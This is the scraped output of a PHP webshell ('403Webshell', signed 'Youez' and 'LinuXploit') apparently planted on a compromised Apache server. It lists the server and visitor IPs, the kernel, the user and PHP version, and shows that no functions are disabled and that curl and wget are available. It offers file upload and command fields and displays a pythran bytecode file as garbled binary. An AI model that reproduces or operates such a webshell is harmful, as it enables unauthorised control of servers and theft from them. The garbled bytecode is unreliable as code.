403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/transformations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/transformations/__pycache__/extract_doc_strings.cpython-311.pyc
�

cR�a_��F�dZddlmZddlmZddlZGd�de��ZdS)zJ
ExtractDocStrings fills a dictionary with doc strings for each function.
�)�Transformation)�isstrNc�D��eZdZdZ�fd�Z�fd�Zd�Zd�Zd�Zd�Z	�xZ
S)�ExtractDocStringsa�
    Extract Python Doc Strings, removing them from the AST and putting them in
    a dictionary for later use.

    >>> import gast as ast
    >>> from pythran import passmanager, backend
    >>> node = ast.parse("def foo(): 'my doc is cool' ; pass")
    >>> pm = passmanager.PassManager("test")
    >>> _ = pm.apply(ExtractDocStrings, node)
    >>> print(pm.dump(backend.Python, node))
    def foo():
        pass
    c�|��tt|�����t��|_dS�N)�superr�__init__�dict�
docstrings)�self�	__class__s ��M/usr/lib/python3/dist-packages/pythran/transformations/extract_doc_strings.pyr
zExtractDocStrings.__init__s/���
���&�&�/�/�1�1�1��&�&�����c�b��tt|���|��|jSr)r	r�runr)r
�noders  �rrzExtractDocStrings.runs*���
���&�&�*�*�4�0�0�0���rc�2�t|j��rdS|S)zRemove other top-level stringsN)r�value�r
rs  r�
visit_ExprzExtractDocStrings.visit_Expr"s�������	��4��rc��|jrr|jd}t|tj��rKt	|j��r7d|_|jj}||j|<|j�d��|�	|��S)NrT)
�body�
isinstance�ast�Exprrr�updater�pop�
generic_visit)r
�keyr�
first_stmt�	docstrings     r�visit_documented_nodez'ExtractDocStrings.visit_documented_node(s����9�	%���1��J��*�c�h�/�/�
%���)�*�*�%�"&�D�K� *� 0� 6�I�+4�D�O�C�(��I�M�M�!�$�$�$��!�!�$�'�'�'rc�.�|�d|��Sr)r#rs  r�visit_ModulezExtractDocStrings.visit_Module3s���)�)�$��5�5�5rc�8�|�|j|��Sr)r#�namers  r�visit_FunctionDefz#ExtractDocStrings.visit_FunctionDef6s���)�)�$�)�T�:�:�:r)�__name__�
__module__�__qualname__�__doc__r
rrr#r%r(�
__classcell__)rs@rrrs����������!�!�!�!�!���������	(�	(�	(�6�6�6�;�;�;�;�;�;�;rr)r,�pythran.passmanagerr�
pythran.utilsr�gastrr�rr�<module>r2su����/�.�.�.�.�.�����������,;�,;�,;�,;�,;��,;�,;�,;�,;�,;r

Youez - 2016 - github.com/yon3zu
LinuXploit